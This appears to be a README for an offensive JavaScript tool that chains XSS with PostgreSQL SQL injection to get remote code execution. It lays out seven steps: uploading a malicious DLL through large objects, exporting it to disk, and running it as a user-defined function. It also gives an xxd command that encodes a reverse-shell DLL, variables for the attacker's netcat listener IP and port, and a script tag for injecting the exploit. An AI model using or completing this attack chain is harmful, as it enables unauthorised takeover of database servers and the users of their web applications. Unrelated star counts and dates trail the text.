Postgres-SQLi-RCE.js
PostgreSQL Large Objects and UDF (User Defined Functions) RCE exploit re-written in javascript, for easy chaining with XSS
Methdology
Step 1: Create a DLL file that will contain our malicious code
Step 2: Inject a query that creates a large object from an arbitrary remote file on disk
Step 3: Inject a query that updates page 0 of the newly created large object with the first 2KB of our DLL
Step 4: Inject queries that insert additional pages into the pg_largeobject table to contain the remainder of our DLL
Step 5: Inject a query that exports our large object (DLL) onto the remote server file system
Step 6: Inject a query that creates a PostgreSQL User Defined Function (UDF) based on our exported DLL
Step 7: Inject a query that executes our newly created UDF
Requirements
- jQuery: If the target page does not have jQuery included, you can add it from exploit script like this
- Linux/Windows/MAC OSX: To generate postgres extension
Setup
Follow this article to generate a database extension for the target machine
https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions
Then, set the following variables
rev_shell.dll.txt //Reference: https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions">
var nc_ip = "192.168.XXX.XXX"; //Attacker's netcat listener IP var nc_port = "4444"; //Attacker's netcat listener port var url= "/vulnerable-path"; var udf="" ; //xxd rev_shell.dll | cut -d" " -f 2-9 | sed 's/ //g' | tr -d '\n' > rev_shell.dll.txt //Reference: https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions
Exploitation: XSS Chaining
<script src=http://
/postgres_linux_rce.js>
7k Dec 31, 2022
5.4k Jan 4, 2023
10 Oct 16, 2022
1.2k Dec 30, 2022
7 Aug 22, 2022
5 Nov 6, 2022
27.3k Jan 4, 2023
30.1k Jan 3, 2023
6.8k Jan 3, 2023
6.9k Jan 5, 2023